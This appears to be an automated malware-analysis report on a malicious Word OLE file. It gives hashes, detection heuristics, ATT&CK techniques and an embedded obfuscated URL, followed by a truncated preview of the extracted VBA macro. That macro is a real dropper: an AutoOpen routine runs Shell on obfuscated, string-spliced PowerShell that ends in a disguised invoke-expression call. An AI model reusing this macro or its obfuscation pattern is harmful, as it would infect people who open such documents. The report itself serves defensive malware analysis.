Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f24a7541eb72b54…

MALICIOUS

Office (OLE)

215.0 KB Created: 2017-12-13 10:00:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 8ef5e2e8e3101d5084f75f1c55d4ede5 SHA-1: 9c654da964192afa8e4976d54f80cee35769022a SHA-256: 6f24a7541eb72b5477dd08e75df4fa2d869a6a4f143059e57ac5a54b4e14e569
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro uses the Shell() function, indicating an attempt to execute arbitrary commands. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, and the presence of an unknown URL further supports this. The VBA script concatenates strings to form a command, which is then executed.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://damlatemiAQk+AQkzlik.nAQk In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85332 bytes
SHA-256: 77365b8a18603db8fa2caf956e231c5969f24db5155d0c3604186a80d9296e17
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cGJtAGTm"
Sub AutoOpen()
AKvIEIfTWs = "lqckfJVKp" + "QMJSWaCEjOLAt" + "pdXGRNFUo" + "vwYLjlRplcjzl" + "iicPpdFlwKvBl" + "sbnwYPXaB" + "YvzWPRisriYjk" + "iLoJzOQizCwKp" + "YWRHjmrtfjVfc" + "KDqJqzR" + "bOanauwv" + "FbuTVQQDwwk"
FnTlNUwLmTr = "MuDhsMzzjI" + "DijomaGrw" + "jWaGCMZzjnl" + "XHbNjKmBnwwW" + "CdfKlfbtq" + "XdaqzXwzVfT" + "cNYrvFzs" + "aDqzjtpwHJqh" + "DkIUnipzarw" + "ASlujWvzwzZjq" + "dIBNVcdBJ" + "ibRTDmzLuHibD"
YnvjiGK = "dXAjwNVTOz" + "zLIEcuKz" + "ojhCFwpih" + "WDiJztSXpmqbsi" + "GsPiSpTJw" + "uqwbzYmlTcFT" + "KKKWUKX" + "qwkwEZzPF" + "thZDDTw" + "ODpZFMnqEYISz" + "YWDsOcuwnVOaLl" + "HHqadwUXRsX"
OUbHnDvJ = "zKFUwPQ" + "KfABMzQRrV" + "EzmAqQj" + "LObWQcaIzlG" + "jEDGMXKBXLpv" + "tEDNKODQmEFj" + "jZmoSfko" + "zvfnSGiGzY" + "oWXXunWCRuz" + "XDnkPisKKtYFHh" + "vzlfFhDUNB" + "ufJiWaAzI"
VBA.Shell$ KUFjOWimzq, 0
iVPXHOVuzSQM = "bFfOuQTia" + "AoMBcXwEJZmQ" + "VIzSiaPjwhO" + "cqLGjpBEmOju" + "sXzNGniKd" + "GwwkIKwC" + "wTAjmwck" + "MoHZDFqCPWrt" + "XwjFJiEstnLb" + "usrNPdCuwoDhst" + "GvcLNOvBzhoufs" + "AvzHKzLCH"
rpZJdXRpK = "wLAOjwrrjajW" + "foHkkiw" + "sVzWZWrWJXFVGU" + "vibMGUWjiUntV" + "njHNrFpCsH" + "zUWCiBvLwMB" + "VqaWoSBl" + "WAWrzHPOAsq" + "jHzziASsiX" + "mWlXQjAj" + "WzdUALjufzzTK" + "miaWKSjsuwrjU"
jwfzJAzk = "fzSUYMlZpbh" + "opMqRGdFicQrTK" + "SwKJsBEvXrwK" + "IYBHnNuISJr" + "UizCiaAOfTbfSo" + "kupwTwzwFbIEGQ" + "zoSQYXFtoR" + "wApzWpwQKOcLYz" + "hubaWuwHTn" + "BQZiBBhV" + "zGIFTGq" + "KXdtTBp"
End Sub
Function KUFjOWimzq()
UtBcNYpw = "ZjrWwiJFnqV" + "SGfHLGbZiFNws" + "cNBSFvGriYJPj" + "ildiIrvuQq" + "NpjwUSviHFv" + "VkZiabH" + "vaCutbfnAvizLp" + "GZuKFNkYTjhIz" + "IUSJrhmmlDsm" + "dLXzsjrS" + "fQBkLBiL" + "ThEraPoT" + "FTorRTFG"
hCGWzNWsiO = "WimTQEvkI" + "AVpfRXEmL" + "tEAFzJJlvvj" + "KIZfSDT" + "jamFDoqFs" + "NfPzXShhTGu" + "oMhwLjFl" + "ASwvSRv" + "LTEtQiB" + "KkHzljMUVmaY" + "dJzGZMM" + "EFAmiInqQ" + "ijNAvzoTQF"
VrUEHXusXwW = Mid("jwnX0LnDVzkFQkKoZnKoZ+KoZ.MessagMVKhKdiA3H", 13, 20)
fJHudm = "vlocGQAp" + "IHWlEZr" + "EDmlIJZXlw" + "nwhfEomaXr" + "nrlNjLmUPOz" + "OBUbnbPEURfBD" + "bRwRzUidQuz" + "dNlRjGoGTdjMzw" + "mHWLjKFk" + "XzOiJklabs" + "BSDiZNwGwijSAN" + "WtjQkXdRtlrJwi" + "JkGAFUDolWNzl"
TzZGv = "UNalOAhfzOznXS" + "RfwDwLdZrhVw" + "jLXqNHV" + "ijnmVIjIf" + "MwMntLi" + "hqniDsBcw" + "rJaPzYmvJQcC" + "RLdJAtsSLMzZia" + "jvltKuQWdwAnBw" + "OlftWXa" + "BiGTfwaqSwqO" + "fjsCAozMz" + "qTJwOtl"
AzEzqja = "ofNROOrrLHbY" + "JwhDzXF" + "wMAHbSFzuX" + "rfFGdsiUAS" + "wYhTurDSNb" + "MpSNKnwmuRk" + "jVDqELR" + "FHZNbZH" + "NtbJzLTQnQ" + "uYNXIOWAwqBz" + "wXaFPFlk" + "YZApbFVBnDn" + "WfsjRzFZIhL"
bHjKDrAmh = Mid("mrWMbaaTjONTdnv0dXP7vpofpvudoZ+KoZnextKoZ+KAQk+AQ'+'koZ(1, 343'+'KoZ+KoZ2Ko'+'Z+KoZ45);KoZ+KoZ86KoZ+KoZuhKoZ+KoZuKoZ+KoZas = AQk+AQk8M94c9Y", 29, 105)
isDwUF = "YGMjKDb" + "ZDGipKjniBmr" + "iaVBdPzVwM" + "hvSIBvYpbOPwGR" + "jkVPMHujq" + "qhjnbPaqJAt" + "alndzPITiPkNj" + "AjzpnOccL" + "rBzwoFwRW" + "KjbjJiYWBbzSE" + "PrrUMfPz" + "ZlvQJfYSTru" + "QIQfJpF"
quAJBTk = "tsGzqIfwisp" + "NrnjqJsUkN" + "sUwVGoUDpuHX" + "zWhwJDHCai" + "nXUaSfiu" + "HOfsmYIOozZ" + "UPlTctK" + "FiRlliiTukJQ" + "qPjroMkut" + "bJGTHjHqm" + "NaZwuGEpo" + "DpJsdACcnh" + "lMTqcfObknu"
WuwbnjN = "kQZznjzOcEq" + "MJCwOOPrcJ" + "bJHwjapDpKW" + "IMzcZhKqOBWsH" + "SQvaNwb" + "zofkOnmBBNpT" + "lQlpJSTPZnOrd" + "YIPzYOWO" + "wpTXDNzI" + "nMjAJkD" + "IWYARskfOtm" + "QEWXHoAqv" + "CZfKEQbYw"
OjvLvI = Mid("9NGFCPPcO6S564M1,2]-JoINKoZKo'+'Z)A'+'Qk) -crePlA'+'cE AQkKoZ'+'AQk,[cHAr]39'+'-REPlACe  AQkyKZAQk'+',[cHAr]124)) ').rEPLAcE(([chAR]65+[chAR]81+[chAR]107),[STRinG][chAR]39) |& ( $PShoME[4]+$pshOme[30]+'X')DsClDRqjAuGqkcba3btfvE", 16, 190)
mEqOW = "wAQpmziHuG" + "KlzNqHhiDE" + "bOFGRaqOEjJSM" + "MKPfEZffmJEcS" + "UDIrSDZCjf" + "HRjCsATmVdw" + "zwiNvbvCp" + "SuAYSzJS" + "ajzzIzdt" + "kpwuXmIs" + "pdandqzwlBUiT" + "
... (truncated)

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